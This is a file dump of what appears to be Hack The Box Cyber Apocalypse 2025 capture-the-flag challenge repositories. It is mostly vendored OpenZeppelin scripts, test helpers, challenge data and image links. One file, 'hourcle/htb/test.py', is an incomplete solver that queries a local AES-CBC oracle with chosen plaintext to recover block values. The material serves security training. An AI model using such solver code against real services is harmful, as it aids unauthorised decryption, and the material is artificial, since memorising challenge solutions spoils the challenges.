/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/checks/generation.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | npm run generate
6 | git diff -R --exit-code
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/format-lines.js:
--------------------------------------------------------------------------------
1 | function formatLines(...lines) {
2 | return [...indentEach(0, lines)].join('\n') + '\n';
3 | }
4 |
5 | function* indentEach(indent, lines) {
6 | for (const line of lines) {
7 | if (Array.isArray(line)) {
8 | yield* indentEach(indent + 1, line);
9 | } else {
10 | const padding = ' '.repeat(indent);
11 | yield* line.split('\n').map(subline => (subline === '' ? '' : padding + subline));
12 | }
13 | }
14 | }
15 |
16 | module.exports = formatLines;
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/helpers/sanitize.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | address: expr => `and(${expr}, shr(96, not(0)))`,
3 | bool: expr => `iszero(iszero(${expr}))`,
4 | bytes: (expr, size) => `and(${expr}, shl(${256 - 8 * size}, not(0)))`,
5 | };
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/Arrays.opts.js:
--------------------------------------------------------------------------------
1 | const TYPES = ['address', 'bytes32', 'uint256'];
2 |
3 | module.exports = { TYPES };
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/Checkpoints.opts.js:
--------------------------------------------------------------------------------
1 | // OPTIONS
2 | const VALUE_SIZES = [224, 208, 160];
3 |
4 | const defaultOpts = size => ({
5 | historyTypeName: `Trace${size}`,
6 | checkpointTypeName: `Checkpoint${size}`,
7 | checkpointFieldName: '_checkpoints',
8 | keyTypeName: `uint${256 - size}`,
9 | keyFieldName: '_key',
10 | valueTypeName: `uint${size}`,
11 | valueFieldName: '_value',
12 | });
13 |
14 | module.exports = {
15 | VALUE_SIZES,
16 | OPTS: VALUE_SIZES.map(size => defaultOpts(size)),
17 | };
18 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/EnumerableSet.opts.js:
--------------------------------------------------------------------------------
1 | const { capitalize } = require('../../helpers');
2 |
3 | const mapType = str => (str == 'uint256' ? 'Uint' : capitalize(str));
4 |
5 | const formatType = type => ({
6 | name: `${mapType(type)}Set`,
7 | type,
8 | });
9 |
10 | const TYPES = ['bytes32', 'address', 'uint256'].map(formatType);
11 |
12 | module.exports = { TYPES, formatType };
13 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/MerkleProof.opts.js:
--------------------------------------------------------------------------------
1 | const { product } = require('../../helpers');
2 |
3 | const OPTS = product(
4 | [
5 | { suffix: '', location: 'memory' },
6 | { suffix: 'Calldata', location: 'calldata' },
7 | ],
8 | [{ visibility: 'pure' }, { visibility: 'view', hash: 'hasher' }],
9 | ).map(objs => Object.assign({}, ...objs));
10 |
11 | module.exports = { OPTS };
12 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/Packing.opts.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | SIZES: [1, 2, 4, 6, 8, 10, 12, 16, 20, 22, 24, 28, 32],
3 | };
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/git-user-config.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail -x
4 |
5 | git config user.name 'github-actions'
6 | git config user.email '41898282+github-actions[bot]@users.noreply.github.com'
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/helpers.js:
--------------------------------------------------------------------------------
1 | const iterate = require('../test/helpers/iterate');
2 | const strings = require('../test/helpers/strings');
3 |
4 | module.exports = {
5 | ...iterate,
6 | ...strings,
7 | };
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/prepack.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 | shopt -s globstar
5 |
6 | # cross platform `mkdir -p`
7 | mkdirp() {
8 | node -e "fs.mkdirSync('$1', { recursive: true })"
9 | }
10 |
11 | # cd to the root of the repo
12 | cd "$(git rev-parse --show-toplevel)"
13 |
14 | npm run clean
15 |
16 | env COMPILE_MODE=production npm run compile
17 |
18 | mkdirp contracts/build/contracts
19 | cp artifacts/contracts/**/*.json contracts/build/contracts
20 | rm contracts/build/contracts/*.dbg.json
21 | node scripts/remove-ignored-artifacts.js
22 |
23 | cp README.md contracts/
24 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/prepare.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | if git status &>/dev/null; then git config core.hooksPath .githooks; fi
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/solhint-custom/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "solhint-plugin-openzeppelin",
3 | "version": "0.0.0",
4 | "private": true
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/upgradeable/patch-apply.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | DIRNAME="$(dirname -- "${BASH_SOURCE[0]}")"
6 | PATCH="$DIRNAME/upgradeable.patch"
7 |
8 | error() {
9 | echo Error: "$*" >&2
10 | exit 1
11 | }
12 |
13 | if ! git diff-files --quiet ":!$PATCH" || ! git diff-index --quiet HEAD ":!$PATCH"; then
14 | error "Repository must have no staged or unstaged changes"
15 | fi
16 |
17 | if ! git apply -3 "$PATCH"; then
18 | error "Fix conflicts and run $DIRNAME/patch-save.sh"
19 | fi
20 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/upgradeable/patch-save.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | DIRNAME="$(dirname -- "${BASH_SOURCE[0]}")"
6 | PATCH="$DIRNAME/upgradeable.patch"
7 |
8 | error() {
9 | echo Error: "$*" >&2
10 | exit 1
11 | }
12 |
13 | if ! git diff-files --quiet ":!$PATCH"; then
14 | error "Unstaged changes. Stage to include in patch or temporarily stash."
15 | fi
16 |
17 | git diff-index --cached --patch --output="$PATCH" HEAD
18 | git restore --staged --worktree ":!$PATCH"
19 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/TESTING.md:
--------------------------------------------------------------------------------
1 | ## Testing
2 |
3 | Unit test are critical to OpenZeppelin Contracts. They help ensure code quality and mitigate against security vulnerabilities. The directory structure within the `/test` directory corresponds to the `/contracts` directory.
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/account.js:
--------------------------------------------------------------------------------
1 | const { ethers } = require('hardhat');
2 | const { impersonateAccount, setBalance } = require('@nomicfoundation/hardhat-network-helpers');
3 |
4 | // Hardhat default balance
5 | const DEFAULT_BALANCE = 10000n * ethers.WeiPerEther;
6 |
7 | const impersonate = (account, balance = DEFAULT_BALANCE) =>
8 | impersonateAccount(account)
9 | .then(() => setBalance(account, balance))
10 | .then(() => ethers.getSigner(account));
11 |
12 | module.exports = {
13 | impersonate,
14 | };
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/constants.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | MAX_UINT48: 2n ** 48n - 1n,
3 | MAX_UINT64: 2n ** 64n - 1n,
4 | };
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/deploy.js:
--------------------------------------------------------------------------------
1 | const { artifacts, ethers } = require('hardhat');
2 | const { setCode } = require('@nomicfoundation/hardhat-network-helpers');
3 | const { generators } = require('./random');
4 |
5 | const forceDeployCode = (name, address = generators.address(), runner = ethers.provider) =>
6 | artifacts
7 | .readArtifact(name)
8 | .then(({ abi, deployedBytecode }) =>
9 | setCode(address, deployedBytecode).then(() => new ethers.Contract(address, abi, runner)),
10 | );
11 |
12 | module.exports = {
13 | forceDeployCode,
14 | };
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/methods.js:
--------------------------------------------------------------------------------
1 | const { ethers } = require('hardhat');
2 |
3 | const selector = signature => ethers.FunctionFragment.from(signature).selector;
4 |
5 | const interfaceId = signatures =>
6 | ethers.toBeHex(
7 | signatures.reduce((acc, signature) => acc ^ ethers.toBigInt(selector(signature)), 0n),
8 | 4,
9 | );
10 |
11 | module.exports = {
12 | selector,
13 | interfaceId,
14 | };
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/strings.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | // Capitalize the first char of a string
3 | // Example: capitalize('uint256') → 'Uint256'
4 | capitalize: str => str.charAt(0).toUpperCase() + str.slice(1),
5 | };
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/utils/Nonces.test.js:
--------------------------------------------------------------------------------
1 | const { ethers } = require('hardhat');
2 | const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
3 | const { shouldBehaveLikeNonces } = require('./Nonces.behavior');
4 |
5 | async function fixture() {
6 | const mock = await ethers.deployContract('$Nonces');
7 | return { mock };
8 | }
9 |
10 | describe('Nonces', function () {
11 | beforeEach(async function () {
12 | Object.assign(this, await loadFixture(fixture));
13 | });
14 |
15 | shouldBehaveLikeNonces();
16 | });
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/utils/introspection/ERC165.test.js:
--------------------------------------------------------------------------------
1 | const { ethers } = require('hardhat');
2 | const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
3 |
4 | const { shouldSupportInterfaces } = require('./SupportsInterface.behavior');
5 |
6 | async function fixture() {
7 | return {
8 | mock: await ethers.deployContract('$ERC165'),
9 | };
10 | }
11 |
12 | describe('ERC165', function () {
13 | beforeEach(async function () {
14 | Object.assign(this, await loadFixture(fixture));
15 | });
16 |
17 | shouldSupportInterfaces();
18 | });
19 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/out/build-info/1064641c52b9d22414ab0a83ad4ed51f.json:
--------------------------------------------------------------------------------
1 | {"id":"1064641c52b9d22414ab0a83ad4ed51f","source_id_to_path":{"0":"src/Eldorion.sol","1":"src/Exploit.sol"},"language":"Solidity"}
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/remappings.txt:
--------------------------------------------------------------------------------
1 | @openzeppelin/contracts/=lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/
2 | @openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/requirements.txt:
--------------------------------------------------------------------------------
1 | pwntools
2 | web3
3 | py-solc-x
4 |
--------------------------------------------------------------------------------
/blockchain/HeliosDEX [Easy]/assets/ChallengeBanner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/HeliosDEX [Easy]/assets/ChallengeBanner.png
--------------------------------------------------------------------------------
/blockchain/HeliosDEX [Easy]/assets/EventBanner.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/HeliosDEX [Easy]/assets/EventBanner.jpg
--------------------------------------------------------------------------------
/blockchain/HeliosDEX [Easy]/htb/.gitignore:
--------------------------------------------------------------------------------
1 | venv/
2 |
--------------------------------------------------------------------------------
/blockchain/HeliosDEX [Easy]/htb/requirements.txt:
--------------------------------------------------------------------------------
1 | pwntools
2 | web3
3 |
--------------------------------------------------------------------------------
/crypto/Copperbox/htb/output.txt:
--------------------------------------------------------------------------------
1 | hint1 = 77759147870011250959067600299812670660963056658309113392093130
2 | hint2 = 50608194198883881938583003429122755064581079722494357415324546
3 |
--------------------------------------------------------------------------------
/crypto/Kewiri/Makefile:
--------------------------------------------------------------------------------
1 | flag:
2 | @echo [+] Flag : $$(cd challenge; python3.12 -c 'print(open("flag.txt").read());')
3 |
4 | solver:
5 | @echo [+] Running remote solver
6 | ./build-docker.sh
7 | sage -python3 htb/solver.py localhost:1337
8 |
9 | test: clean flag solver
10 |
11 | clean:
12 | @rm -rf release/*
13 | @find . -name "*.sage.py" -type f -delete
14 | @echo [+] Challenge release deleted successfully.
15 |
--------------------------------------------------------------------------------
/crypto/Traces/assets/aes-ctr.ppm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/crypto/Traces/assets/aes-ctr.ppm
--------------------------------------------------------------------------------
/crypto/Verilicious/htb/pubkey.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWmV7JV9wyE9iy3UBOOKlRdElU
3 | ws+0JCymoKJAlJ7GoJRRpRAaaqsMC34wOgc4pnIlx44QwRGu2ldYLqb0LweVLLRv
4 | oppUDMUFLjoKyRoam0ZfGZi5HjkHvimi/Tgmi4eI32+w0siLNA3+rIFj4ltQCmfX
5 | tIMfJt7YHVROdEKNKwIDAQAB
6 | -----END PUBLIC KEY-----
7 |
--------------------------------------------------------------------------------
/crypto/hourcle/assets/aes-cbc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/crypto/hourcle/assets/aes-cbc.png
--------------------------------------------------------------------------------
/crypto/hourcle/htb/test.py:
--------------------------------------------------------------------------------
1 | from pwn import remote, xor
2 |
3 | io = remote('localhost', 1337)
4 |
5 | io.sendlineafter(b' :: ', b'1')
6 | io.sendlineafter(b' :: ', b'A'*16)
7 |
8 | ct1 = bytes.fromhex(io.recvline().split(b': ')[1])
9 | blocks_ct1 = [ct1[i:i+16] for i in range(0, len(ct1), 16)]
10 |
11 | dkc1 = xor(blocks_ct1[1], b'A'*16)
12 |
13 | io.sendlineafter(b' :: ', b'1')
14 | io.sendlineafter(b' :: ', b'a')
15 |
16 | ct2 = bytes.fromhex(io.recvline().split(b': ')[1])
17 | blocks_ct2 = [ct2[i:i+16] for i in range(0, len(ct2), 16)]
18 |
19 |
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/banner.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/click.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/click.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/htb.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/jssource.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/jssource.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/legit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/legit.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/loading.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/loading.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/openapp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/openapp.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/ps.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/ps.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/search.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/search.png
--------------------------------------------------------------------------------
/forensics/A New Hire/assets/security.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/security.png
--------------------------------------------------------------------------------
/forensics/A New Hire/docker_run.sh:
--------------------------------------------------------------------------------
1 | docker build -t ca2025_webdav . $@
2 | docker run --rm -p 12345:80 ca2025_webdav
3 |
--------------------------------------------------------------------------------
/forensics/Cave Expedition/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Cave Expedition/assets/banner.png
--------------------------------------------------------------------------------
/forensics/Cave Expedition/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Cave Expedition/assets/htb.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/banner.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/htb.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-1.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-10.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-11.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-12.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-12.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-2.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-3.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-4.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-5.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-6.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-7.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-8.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image-9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-9.png
--------------------------------------------------------------------------------
/forensics/Silent Trap/assets/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image.png
--------------------------------------------------------------------------------
/forensics/Stealth Invasion/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Stealth Invasion/assets/banner.png
--------------------------------------------------------------------------------
/forensics/Stealth Invasion/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Stealth Invasion/assets/htb.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/.gitignore:
--------------------------------------------------------------------------------
1 | **/bin
2 | **/obj
3 | **/.vs
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/api-monitor-fail.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/api-monitor-fail.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/api-monitor-start.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/api-monitor-start.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/api-monitor-success.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/api-monitor-success.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/ask-zip-password.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/ask-zip-password.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/banner.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/binary-strings.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/binary-strings.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/decrypt-encrypted-token.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/decrypt-encrypted-token.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/decrypted-strings-stage1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/decrypted-strings-stage1.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/decrypted-strings-stage2-from-listener.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/decrypted-strings-stage2-from-listener.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/detect-it-easy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/detect-it-easy.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/download-file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/download-file.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/encoded-flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/encoded-flag.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/find-file-path.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/find-file-path.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/find-invite-link.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/find-invite-link.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/find-password.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/find-password.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/form-submitted.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/form-submitted.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/forwardmessage-docs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/forwardmessage-docs.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/found-index-js.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/found-index-js.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/ghidra-main1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/ghidra-main1.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/ghidra-main2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/ghidra-main2.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/htb.png:
--------------------------------------------------------------------------------
